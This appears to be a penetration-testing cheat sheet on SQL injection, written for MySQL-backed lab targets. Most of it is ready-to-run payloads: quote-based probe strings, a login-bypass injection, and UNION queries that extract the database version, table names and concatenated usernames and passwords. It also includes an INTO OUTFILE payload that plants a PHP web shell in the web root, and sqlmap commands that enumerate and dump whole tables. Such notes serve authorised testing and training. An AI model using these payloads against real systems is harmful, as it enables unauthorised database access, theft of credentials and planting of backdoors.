SQL injection
Stick
' in a parameter and see if it throws a database error (and note what kind).Another simple test:
' or '1'='1
Other tests:
-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
You can also attempt to inject parameters passed using POST requests, but you'll need Burp or Firefox tamper to view and edit them. For example, you can test a parameter by adding a
' at the end, like lang=en'.If you find a poorly-sanitized login page, you can attempt to log in without credentials by injecting the username parameter:
username' or 1=1;#
username'-
The exact syntax for injection will vary by database type. In most lab scenarios, the database will be MySQL.
Get version:
http://[host]/inject.php?id=1 union all select 1,2,3,@@version,5
You can get the number of columns through trial and error using
order by. For each query, increase the column number until the database throws an unknown column error:http://[host]/inject.php?id=54 order by 1
http://[host]/inject.php?id=54 order by 2
http://[host]/inject.php?id=54 order by 3
Get the current user:
http://[host]/inject.php?id=1 union all select 1,2,3,user(),5
See all tables:
http://[host]/inject.php?id=1 union all select 1,2,3,table_name,5 FROM information_schema.tables
Get column names for a specified table:
http://[host]/inject.php?id=1 union all select 1,2,3,column_name,5 FROM information_schema.columns where table_name='users'
Get usernames and passwords (0x3a means
:):http://[host]/inject.php?id=1 union all select 1,2,3,concat(name, 0x3A , password),5 from users
You might be able to write to system files depending on permission levels using MySQL's
INTO OUTFILE function to create a php shell in the web root:http://[host]/inject.php?id=54 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'
I suspect you could inject a full reverse shell in there too...
Assuming you've tested a parameter with
' and it is injectable, run SQL map against the URL:sqlmap -u "http://[host]/inject.php?param1=1¶m2=whatever" --dbms=mysql
It may not run unless you specify the database type.
Get the databases:
sqlmap -u "http://[host]/inject.php?param1=1¶m2=whatever" --dbs --dbms=mysql
Get the tables in a database:
sqlmap -u "http://[host]/inject.php?param1=1¶m2=whatever" --tables -D [database name]
Get the columns in a table:
sqlmap -u "http://[host]/inject.php?param1=1¶m2=whatever" --columns -D [database name] -T [table name]
Dump a table:
sqlmap -u "http://[host]/inject.php?param1=1¶m2=whatever" --dump -D [database name] -T [table name]
If the URL isn't accessible, you can pass cookie data or authentication credentials to SQLmap by pasting the post request in a file and using the
-r option:sqlmap -r request.txt
If you just need to pass a cookie:
sqlmap -u "http://[host]/inject.php" --cookie "PHPSESSID=foobar"
If your URLs have no parameters, you can still test them:
sqlmap -u "http://[host]/param1*/param2*"
Last modified 1yr ago